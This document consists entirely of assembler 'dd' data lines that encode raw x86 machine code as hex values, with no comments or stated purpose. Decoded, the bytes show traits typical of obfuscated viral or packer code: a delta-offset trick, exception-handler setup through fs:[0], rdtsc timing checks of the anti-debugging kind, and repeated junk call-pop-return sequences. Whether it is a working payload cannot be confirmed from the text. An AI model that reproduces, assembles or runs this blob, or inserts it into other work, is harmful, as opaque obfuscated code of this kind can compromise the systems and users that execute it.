dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
dd 0FC5CC350h, 0A730B58Bh, 6A0606h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 4EC3A7C3h
dd 80261435h, 8D858B7Bh, 6A060312h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 5FCFC355h
dd 6896907h, 858BFA8Bh, 60313C1h, 0AE8h, 8F1B8D00h, 6EB0F8CEh
dd 0E94B1230h, 0Eh, 3FD32499h, 0ECE105B7h, 110B099Eh, 895B9409h
dd 85310446h, 603145Dh, 14A8BB96h, 0BB50041Bh, 3EFE6A72h
dd 57006A96h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h
dd 0C3574700h, 0C73F2308h, 8DBD8B5Ch, 0E8060310h, 8, 0F9005D62h
dd 1670212Ah, 5BF9B70Fh, 0A72CB5FFh, 6A0606h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 190424h, 51410000h, 7EA89C3h
dd 0BF3F8A8Ah, 282E0C6Ch, 4E8h, 1F03FF00h, 8B525000h, 0BB310FD8h
dd 0A695A9h, 5150585Ah, 8B5FF98Bh, 50042444h, 0D98B6653h
dd 8B5B5Fh, 0AE8h, 0AB1C4C00h, 5DEA1FE4h, 527D8018h, 8C0Fh
dd 5B5F0000h, 4244489h, 6E958h, 2BA20000h, 0E8925E6Ch
dd 0A734858Dh, 6A0606h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 170424h, 50400000h, 7B5B2AC3h, 9D8960A6h, 60323A5h
dd 0DE9h, 42957100h, 5510F34Ch, 0F0807573h, 8061F1E1h
dd 8950DADBh, 95312404h, 60329C9h, 140595FFh, 62BF0603h
dd 6120E4FCh, 85C7CDB3h, 60321BDh, 3, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Ch, 48C35242h, 8478E4B6h, 7797A5AFh
dd 0A734BD83h, 0F000606h, 3E84h, 51006A00h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1804h, 0C3514100h, 345F8673h
dd 0DE977h, 608D0000h, 86B8D52Ch, 54FFB486h, 0E9085A9Bh
dd 22h, 0AA5EBB52h, 505B1B53h, 110C30h, 0C1011144h, 443010E8h
dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh, 64001104h
dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h, 4300111h
dd 4E98311h, 0EBE775h, 9D8BC08Bh, 6032F01h, 21F18D01h
dd 0BD830603h, 60321BDh, 5E850F03h, 6A000004h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
dd 66E6C352h, 186B4BBh, 330FD8Dh, 34BD8306h, 606A7h, 42B840Fh
dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
dd 55450000h, 3E8DD6C3h, 0B711B155h, 8B2BBC37h, 320B99Dh
dd 34B5FF06h, 6A0606A7h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1A042444h, 42000000h, 0E288C352h, 63C8C283h
dd 595FF94h, 6A06032Eh, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1D042444h, 46000000h, 101EC356h, 2923B216h
dd 58CFC68Bh, 0FE9h, 25C8C400h, 0E08C30A8h, 7BAC2504h
dd 748FA1A1h, 0A728B58Bh, 6A0606h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 140424h, 55450000h, 0E95364C3h, 9, 0CA232565h
dd 0C5545175h, 0B70F5BBAh, 106C7F8h, 0E8000100h, 0Ah, 0FD8CFBF3h
dd 918B5298h, 0BB667DBBh, 505F44C8h, 5DB35250h
dd 5F56310Fh, 3489585Ah, 52006A24h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1704h, 0C3524200h, 39A48E8Bh, 1049BD89h
dd 0B5FF0603h, 606A734h, 9D016060h, 6030FD5h, 8B616160h
dd 3025D8Dh, 95FF6106h, 6032F19h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Ch, 47C35343h, 5E569F69h, 4356BAD4h
dd 19619D89h, 0B58B0603h, 606A728h, 7E9h, 0BCB14600h, 0BD5911Dh
dd 311D858Bh, 6A0603h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 190424h, 53430000h, 0FAFBB1C3h, 819FE42Bh, 3C191EEFh
dd 0C486891Eh, 1000000h, 32EC1BDh, 659D2306h, 8B060324h
dd 331D195h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1404h, 0C3534300h, 0E381666Eh, 81662086h, 83B823C3h
dd 0DA8B04C2h, 11C9BD8Bh, 50890603h, 108F0F20h, 0E9000000h
dd 0Bh, 86FC0B0Eh, 496207D2h, 8DB60AB8h, 6BBF385h, 56006A06h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
dd 380C927Ah, 3FCECC05h, 0BD8BF218h, 6031CEDh, 0B88689h
dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
dd 51410000h, 0FA0F3EC3h, 6A4DCBD7h, 31B53100h, 89060329h
dd 3208585h, 34B5FF06h, 6A0606A7h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 2ED1C353h
dd 0B866D76Fh, 9D0B4C81h, 6030201h, 1CB195FFh, 6A0603h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
dd 0D4843FC3h, 8D897118h, 6032C11h, 8D0F5096h, 6, 310F5250h
dd 505B585Ah, 0F98B6652h, 0BD23965Bh, 6032039h, 0A734B5FFh
dd 6A0606h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
dd 53430000h, 2B7EC3C3h, 9175A38h, 3041D95h, 6595FF06h
dd 6A060311h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1A042444h, 41000000h, 0B006C351h, 0D980D4ACh, 0C58D89E6h
dd 31060313h, 304E19Dh, 95BD8306h, 60317h, 31840Fh, 6A0000h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
dd 9D09C7C3h, 6032E8Dh, 28A0F50h, 8B000000h, 243489DAh
dd 0FFACC780h, 6A734B5h, 0F98B6606h, 2D79BD8Bh, 95FF0603h
dd 6030661h, 34B5FFF5h, 6A0606A7h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 8A15C351h
dd 0E195FFDDh, 6606030Ah, 8342A2BFh, 3218DBDh, 840F0206h
dd 51h, 5CDB589h, 95090603h, 6031AE5h, 1FD858Bh, 6A0603h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
dd 0E05D82C3h, 9376E6EFh, 6E919h, 0A2120000h, 0DDA5DD8Eh
dd 0F0000C6h, 28Ah, 895B5300h, 320B19Dh, 0B985C706h, 60330h
dd 8B000000h, 3236D9Dh, 0F38FE906h, 6AFFFFh, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 150424h, 57470000h, 8B6FA7C3h
dd 89F381C1h, 8D47218Fh, 3281185h, 57006A06h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 94272987h
dd 669016BAh, 0E950DF8Bh, 7, 5CD7E557h, 90334BECh, 6A2DD780h
dd 79EB8000h, 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 180424h, 56460000h, 724615C3h, 0EE9376Ch, 18000000h
dd 8930CB3Ch, 3D1890D7h, 80547641h, 0FE858D59h, 6A060813h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h
dd 45000000h, 6091C355h, 0C850FC0h, 0F000000h, 68Ah, 31B58900h
dd 83060322h, 816605C0h, 17B8CD3h, 311E98Dh, 60605006h
dd 8E95E57h, 0F4000000h, 2B62C9EDh, 61E0C1ACh, 8D7BE66h
dd 24048961h, 6E9h, 0BBCD7200h, 6A3250C9h, 3DB58900h, 6A060310h
dd 0E99D8900h, 0FF06031Bh, 30CC995h, 51006A06h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 5BC362B1h
dd 8D890832h, 697478Dh, 0EDBD8B06h, 0FF060326h, 8A0FD1h
dd 83000000h, 31E91BDh, 850F0106h, 72h, 1A499D8Bh, 26A0603h
dd 2D15BD8Bh, 0F500603h, 218Ah, 0E9525000h, 11h, 609ADBECh
dd 0B8E31673h, 0EE097B14h, 0C03AEC9Dh, 0BB310FB6h, 95B6288h
dd 489585Ah, 55006A24h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1A04h, 0C3554500h, 40855D99h, 8A28B979h, 75BD8BD9h
dd 0FF060303h, 31CB195h, 19852906h, 0F060309h, 52E9F9B7h
dd 0E800000Eh, 0
dd 8ED815Dh, 6A060814h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 19042444h, 43000000h, 0AF6C353h, 0AD213184h
dd 0DE8h, 133D2200h, 0C5823FF8h, 0E14C5818h, 870F5D35h
dd 6, 8B0Fh, 6A5F0000h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1D042444h, 43000000h, 0B1A1C353h, 3C903B05h
dd 0B5AB483h, 8889858Dh, 9D8B0606h, 6031A49h, 14E890h
dd 1C0D0000h, 0F8AE635Ah, 0FDA5390h, 68242066h, 3E84D9BEh
dd 820FE18Eh, 3, 5FF98B66h, 12E95050h, 64000000h, 7E926CBFh
dd 1B94D664h, 8F0C9754h, 2A227F29h, 66905F3Ch, 64DD63BBh
dd 35FFh, 0FB8B0000h, 258964h, 2B000000h, 310419Dh, 1585FF06h
dd 8B06032Ah, 323099Dh, 6AFF6A06h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0F9A0C355h
dd 0AEBB4C8Ah, 3678D6E0h, 12058589h, 8B0F0603h, 3, 0FFF98B66h
dd 31375B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1B04h, 0C3504000h, 3D59ABDFh, 0A469AAD8h, 8E8h, 3D97BB00h
dd 8A7CB036h, 95FF5F91h, 6032015h, 172E9h, 0FE900h, 46F30000h
dd 0FCBABA30h, 0FEF5FEA7h, 833E133Bh, 0F00B0BEh, 683h
dd 519D8B00h, 0E606032Eh, 0CDBD8B70h, 0E4060311h, 0EF816671h
dd 613C5D03h, 139830Fh, 0BD8B0000h, 6031C51h, 0E9C8B60Fh
dd 13h, 0CCA0DC21h, 0DC2E6C1Bh, 1021CA87h, 0BA936933h
dd 0F9FB1F3Bh, 6BAh, 999D8B00h, 8B060313h, 12E9C1h, 0BECE0000h
dd 5C09E9E7h, 431990DEh, 43C2B46Bh, 0E9E2FE8Ah, 8B04E8C1h
dd 31335BDh, 0E2F76606h, 0A8B0Fh, 5E90000h, 0FA000000h
dd 753DA402h, 0F88BC82Bh, 9E960h, 0E9360000h, 1DC4A54Ah
dd 33683D29h, 32EB195h, 0D18B6106h, 2BBDBD8Bh, 0B0E90603h
dd 0E9000000h, 9, 59B099EDh, 7F148C04h, 4C858B27h, 52505F4Ch
dd 6850Fh, 8E0F0000h, 0
dd 7C0835Fh, 8B0F60F9h, 6, 880Fh, 8D8B0000h, 60331A1h
dd 0C08361h, 0B860Fh, 8C0F0000h, 5, 59B45EBBh, 38F0F3Dh
dd 0F000000h, 0D03BDFBFh, 22830Fh, 8A0F0000h, 0Ch, 6800Fh
dd 8C0F0000h, 0
dd 3AE9h, 5810F00h, 0BB000000h, 306FE46Ah, 0FFFF8D8Bh
dd 0B70FFFFFh, 1E183DEh, 1D840Fh, 9D8B0000h, 6032A85h
dd 0FFFFA583h, 0FFEFFFFh, 9589D9B7h, 505F4C4Ch, 0E9D88Bh
dd 8D000000h, 79756B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1704h, 0C3504000h, 0CFA88A3Dh, 9D8B006Ah
dd 60326E9h, 1FB995FFh, 6A0603h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 190424h, 53430000h, 2EBDB5C3h, 66AA7903h
dd 890FDF8Bh, 0
dd 0DD2B9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1504h, 0C3514100h, 9D8BC907h, 603289Dh, 6AFCE183h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
dd 1C3CC357h, 0C95FB17Bh, 10E9C6ECh, 89000000h, 4FAC5988h
dd 0FD01CD30h, 986EE83Bh, 0FCF5E5EDh, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 14h, 72C35040h, 11E8C02Bh, 29000000h
dd 8A6472CEh, 0EE08E1C9h, 802C9DAEh, 90AC6CC1h, 5BD88B66h
dd 0BAh, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1604h, 0C3504000h, 6622F8C0h, 0AD6674BBh, 0E8D1C233h
dd 0E983D003h, 6AF47504h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 16042444h, 40000000h, 0CB17C350h, 6AF80Dh
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
dd 0D80435C3h, 0B589BF4Bh, 60330C1h, 0EFCF8166h, 880D12h
dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
dd 57470000h, 0FEB642C3h, 7A4C9B76h, 81FF4887h, 5F0087E3h
dd 0D1958B05h, 6A060331h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1D042444h, 46000000h, 7ED2C356h, 0C307A9A4h
dd 0FB9D37EEh, 108DBD8Bh, 8D8B0603h, 60301E1h, 8BC28B50h
dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 170424h, 55450000h, 0A8A69EC3h
dd 659D8B3Bh, 83060324h, 31D65BDh, 840F0006h, 55h, 80D8BF0Fh
dd 0B88FE7h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 15042444h, 46000000h, 0E787C356h, 59BD8B51h
dd 5B060332h, 0B9DB8166h, 1C8D8DB6h, 0E906034Dh, 0Fh, 50A7CE44h
dd 744458E0h, 8B1270FDh, 0FFB0DCD1h, 2FBB66E1h, 0BDBD839Bh
dd 60321h, 3B3840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 150424h, 51410000h, 835772C3h, 321BDBDh
dd 840F0106h, 3A4h, 0DE8BFB8Bh, 21BDBD83h, 0F030603h, 35D86h
dd 0B8DCBF00h, 0BF601239h, 6372B46Eh, 0FD98C66h, 0E180DABFh
dd 56006A04h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h
dd 0C3564600h, 14C45685h, 890FBF17h, 13h, 7E8h, 2B8AFE00h
dd 1EC2B1D4h, 20E58D89h, 35F0603h, 31BD59Dh, 0FC90A06h
dd 10D84h, 0DF8B6600h, 13C1858Bh, 33FC0603h, 31C7985h
dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h
dd 0C3514100h, 8B90499Bh, 8B6650F9h, 870F90F8h, 3, 6AFEB70Fh
dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h
dd 0C3504000h, 292FAFAEh, 807BB15Fh, 4E8F4D3h, 0FF000000h
dd 8A001F03h, 0FB8B50DDh, 424448Bh, 15BA6660h, 0F525045h
dd 8Dh, 60310F00h, 61585A61h, 6656008Bh, 5B472BBFh, 4244489h
dd 13E9h, 0BB9BA300h, 665A310Fh, 1170B245h, 998D13E0h
dd 9B169B10h, 50006A58h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1B04h, 0C3504000h, 375BE66Ah, 5ED52280h, 1F018589h
dd 9D8B0603h, 6031A85h, 140595FFh, 85890603h, 606A734h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 69C35040h
dd 162E9h, 858BF500h, 606A72Ch, 1799BD8Bh, 0C70603h, 18h
dd 8BF8B70Fh, 6A730B5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1604h, 0C3524200h, 0E9D0B5E8h, 6, 16F1B920h
dd 0EE9F6A1h, 0C9000000h, 8EC112F6h, 0E0555742h, 0D1ADD477h
dd 8D858B6Eh, 89060312h, 31BA1BDh, 0F068906h, 858BD9B7h
dd 60313C1h, 10E9h, 0CDFFE300h, 102624E6h, 6692444Eh, 9A4ECE8Dh
dd 4468965h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 15h, 74C35646h, 0DE930h, 6B280000h, 6CB88BDBh, 0E7CC4CB5h
dd 50C17817h, 9E4D3FBFh, 24348968h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 16h, 5AC35646h, 81661B33h, 0F667FDBh
dd 584h, 0A4CCBF00h, 0D88B572Bh, 0A72CB5FFh, 9D030606h
dd 6032CE5h, 0C539D868h, 0BF6656EBh, 815F704Eh, 0CA272404h
dd 6A1459h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
dd 52420000h, 0BF66BFC3h, 858DE01Ah, 606A734h, 0BE9h, 0BABA3000h
dd 0F5FEA7FCh, 3E133BFEh, 58A0Fh, 0C9BB0000h, 50131E23h
dd 489F98Bh, 81666024h, 61496EE3h, 140595FFh, 61F90603h
dd 9855C781h, 85C70E97h, 60321BDh, 3, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 15h, 0B9C35242h, 0CB816634h, 0BD833CCDh
dd 606A734h, 53840F00h, 6A000000h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 2FDDC356h
dd 36A40D77h, 8B74AD89h, 31CE19Dh, 0F5BD8B06h, 81060323h
dd 960049CFh, 33E963h, 13E90000h, 0FB000000h, 0D2035939h
dd 0D5F975E2h, 1A83FA23h, 45048049h, 30502438h, 4400110Ch
dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h
dd 4305036h, 11640011h, 10E8C101h, 2114430h, 3116400h
dd 4E98358h, 1BEBE775h, 10E8C150h, 3116428h, 2114430h
dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 83FA8BC0h
dd 321BDBDh, 850F0306h, 4D5h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Bh, 69C35141h, 9FCEEC31h, 572BFE65h
dd 13D9BD23h, 0F5B0603h, 281h, 83DE8A00h, 6A734BDh, 840F0006h
dd 495h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Dh, 47C35747h, 0F4B28126h, 9B57A862h, 7E97Fh, 62240000h
dd 9DA7DB8h, 34B5FF6Fh, 0FF0606A7h, 32E0595h, 52006A06h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h
dd 81A2B796h, 990B7116h, 0AF9355BFh, 0B58BF84Ah, 606A728h
dd 29CD9D29h, 6C70603h, 10001h, 3318501h, 0F500603h, 28Bh
dd 89F98A00h, 0BF662434h, 0BF0FF90Fh, 34B5FFDBh, 6A0606A7h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h
dd 41000000h, 0A018C351h, 8EF69DE8h, 95FF8829h, 6032F19h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0D4C35141h
dd 19E3ADBEh, 23098589h, 0B58B0603h, 606A728h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0A7C35646h, 0BF9BD01h
dd 858B0603h, 603311Dh, 8BFBBF0Fh, 31041BDh, 0C4868906h
dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 19042444h, 43000000h, 8959C353h, 1AA508BEh, 21C9B501h
dd 958B0603h, 60331D1h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Ah, 54C35242h, 8BCD429Ch, 0EB815BFAh, 25D456C8h
dd 6A04C283h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 19042444h, 46000000h, 0AF16C356h, 0BFF89367h, 52F9BE60h
dd 8D897D52h, 6032A95h, 51BF6661h, 2050891Fh, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 34C35242h, 95896C6Eh
dd 6030A9Dh, 0BBF3858Dh, 6A0606h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1D0424h, 52420000h, 0ECA5A2C3h, 4FE57FE2h
dd 29646B53h, 32F1D9Dh, 0B8868906h, 6A000000h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
dd 84D9C351h, 27E18E3Eh, 6A584EDCh, 91953100h, 89060305h
dd 321A1B5h, 34B5FF06h, 6A0606A7h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0FD5C351h
dd 0A4BD1B2Bh, 0CFBF7F66h, 0F2A0DA9h, 128Ah, 0DE900h, 44B60000h
dd 3E8CA6BAh, 0C8719546h, 0FF6649C8h, 31CB195h, 51006A06h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h
dd 848D94B0h, 138EC0A2h, 683EBF03h, 8B605857h, 330ED9Dh
dd 0F506106h, 1C88h, 11E800h, 47660000h, 9DE1649Fh, 5410A75h
dd 85156D0Bh, 0BF471CC8h, 66273501h, 2434895Bh, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 1DC35545h, 419D0BBEh
dd 0F060310h, 8Ah, 34B5FF00h, 6A0606A7h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 15A7C351h
dd 66F5D617h, 7C72B62Eh, 116595FFh, 0B70F0603h, 95BD83FBh
dd 60317h, 5D840Fh, 95890000h, 6032909h, 50FB8B96h, 12E8h
dd 0E8D59C00h, 0F464878h, 0E94C4012h, 66794730h, 60F7E8FAh
dd 525025B4h, 585A310Fh, 6A965B61h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1C042444h, 40000000h, 97FC350h
dd 7729371Ah, 0FD77ED7h, 686h, 1D9D8B00h, 0FF060303h, 6A734B5h
dd 6195FF06h, 89060306h, 32E559Dh, 34B5FF06h, 6A0606A7h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h
dd 46000000h, 0D1B6C356h, 0C9B553C1h, 85896060h, 603108Dh
dd 666188B2h, 0FF61F98Bh, 30AE195h, 53006A06h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 0BD83BC6Ah
dd 603218Dh, 41840F02h, 6A000000h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 5085C356h
dd 9E971BEh, 0B5000000h, 3F925FF4h, 54A913BCh, 1FD858Bh
dd 0BD330603h, 6031BC5h, 660000C6h, 3D4ECF81h, 30B985C7h
dd 603h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 190424h, 55450000h, 58139DC3h, 891BA201h, 3237995h
dd 17BB6606h, 0F2BFE961h, 6AFFFFh, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 170424h, 56460000h, 0F65FF8C3h, 0CF8166D8h
dd 8D89F879h, 6030161h, 8B66C18Bh, 11858DDAh, 50060328h
dd 627662BBh, 24048939h, 0E9006AF8h, 12h, 9AE2A9D9h, 0B523DE81h
dd 0D4622899h, 4A47EBAEh, 6A85D3h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 19h, 2DC35545h, 0C8B28D02h, 0BD8B52F3h
dd 6032909h, 68C0F5Bh, 8B000000h, 331E19Dh, 7C858D06h
dd 6A060824h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 14042444h, 43000000h, 0B31FC353h, 0FC5F522Fh, 6A05C083h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 15042444h
dd 46000000h, 0FD72C356h, 505F5190h, 12E9h, 4EDD0100h
dd 0A02A9E2Fh, 0BCEE264Ah, 0ED1942B0h, 90EC8CDCh, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0AEC35343h, 0EBF97399h
dd 0D780C808h, 6A006A8Dh, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 19042444h, 43000000h, 73A7C353h, 2D06AFCFh
dd 2F19D89h, 6A0603h, 42FF53BBh, 0C995FF01h, 8B06030Ch
dd 478D8DD9h, 6A060697h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1C042444h, 43000000h, 0E3F7C353h, 9D34BDABh
dd 66E7046Ah, 0FF5FD5BFh, 57006AD1h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 0BB6AFD56h
dd 367A83BFh, 6A3EEF81h, 0BD837080h, 6031E91h, 0A1850F01h
dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 15042444h, 45000000h, 5906C355h, 0AF1BD29h, 26A0603h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0AC35242h
dd 7CC94F3Bh, 0EF44E1EDh, 0DE9FAh, 76DA0000h, 0DFB8A45Fh
dd 57BD7484h, 90096656h, 90DC8A50h, 0EE9h, 0DF80AA00h
dd 818CFF9Ch, 6434DED8h, 0E9E9FC24h, 0Ah, 0EA052693h, 37079D6Bh
dd 95FFF98Ch, 6031CB1h, 11E952h, 918A0000h, 4206BAA4h
dd 18B4899Fh, 5D00E151h, 5F660666h, 0DC0E9h, 0E800h, 815D0000h
dd 82486EDh, 820FFC06h, 6, 1EE98D29h, 858D0603h, 6068889h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 31C35646h
dd 0B9D6D36Dh, 0F50A69Fh, 48Ch, 0A0BB6600h, 240489E6h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 6AC35040h
dd 6B1210DAh, 0F671BA5h, 50C3802Dh, 35FF64h, 33000000h
dd 30A65BDh, 25896406h, 0
dd 28C0Fh, 5B530000h, 2A1585FFh, 6A0603h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 160424h, 51410000h, 4D16F5C3h
dd 6AFF6Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
dd 51410000h, 7E2E3EC3h, 7E9h, 9ED5E200h, 848D94B0h, 625B5FFh
dd 6A0603h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
dd 56460000h, 0FEE6E7C3h, 0D88B6626h, 58A0Fh, 73BB0000h
dd 0FF528953h, 3201595h, 163E906h, 81660000h, 0B08CC8D3h
dd 11E800h, 0F62A0000h, 33DA9F3Dh, 0CD8C6B9Bh, 0E4BDDB25h
dd 0BBEE46F9h, 4A51BC14h, 8B70E65Bh, 30AD1BDh, 0F71E406h
dd 613CD9BFh, 12B830Fh, 0B60F0000h, 0BD8589C8h, 0BA060323h
dd 6, 9D8BC18Bh, 6030281h, 6604E8C1h, 0BD03E2F7h, 6031399h
dd 9529C82Bh, 6032D05h, 6657D18Bh, 0F382F781h, 0F3E95Fh
dd 8F0F0000h, 8, 41958960h, 61060330h, 8B83B060h, 322BDBDh
dd 858B6106h, 4947554Ch, 2D619589h, 10E80603h, 81000000h
dd 0A980041Dh, 2318468Bh, 7F63214Fh, 6017D3BCh, 7E8h, 130EDE00h
dd 4FCA3D83h, 2DB58959h, 61060306h, 7C0835Bh, 60BB6653h
dd 0DF8B5F72h, 900C083h, 3255D8Dh, 0FD03B06h, 3083h, 8E800h
dd 0FD6D0000h, 0A89FDB4Fh, 0EE9060Ah, 50000000h, 131C54A2h
dd 0C1905609h, 0B8010E1Ch, 62E95F12h, 60000000h, 0F181C78Bh
dd 77D9D3Dh, 0FF8D8B61h, 0E9FFFFFFh, 0Ah, 0A5E3D967h, 6DF59743h
dd 0E1834B4Fh, 3A840F01h, 0F9000000h, 0FFFFA583h, 8BFEFFFFh
dd 31CA19Dh, 99BD8B06h, 89060332h, 47554C95h, 10E849h
dd 77540000h, 0C667EC98h, 0A71C28E3h, 8C2C49DEh, 0C3BF3DDCh
dd 5B72874Bh, 0E9h, 28B58D00h, 6A0607A5h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 2919C353h
dd 314E9F11h, 31FB59Dh, 6A006A06h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 3900C351h
dd 8166EBE0h, 66C18EC7h, 0F880ABFh, 684h, 0FD858900h, 0FF060313h
dd 31FB995h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1404h, 0C3574700h, 109CB917h, 8D890000h, 60311ADh, 40B37BBFh
dd 0FCE18301h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 1Ah, 2C35343h, 0AA753DA4h, 0BD8B5184h, 60301DDh, 249D8589h
dd 0E9FC0603h, 0Fh, 8138DBDh, 0F7CBD160h, 9DBB7126h, 0B89544D7h
dd 0
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0CBC35343h
dd 0BFC4F749h, 174823F7h, 10E9h, 0EF9D4300h, 9252C9FDh
dd 4A992794h, 9D86D175h, 0BBD22BB4h, 7ABB433Fh, 0D1C233ADh
dd 83D003E8h, 0F47504E9h, 0A1CF8166h, 0E985893Dh, 0F060328h
dd 685h, 1DB52900h, 0D06031Eh, 88h, 0E853006Ah, 3, 5BC35B20h
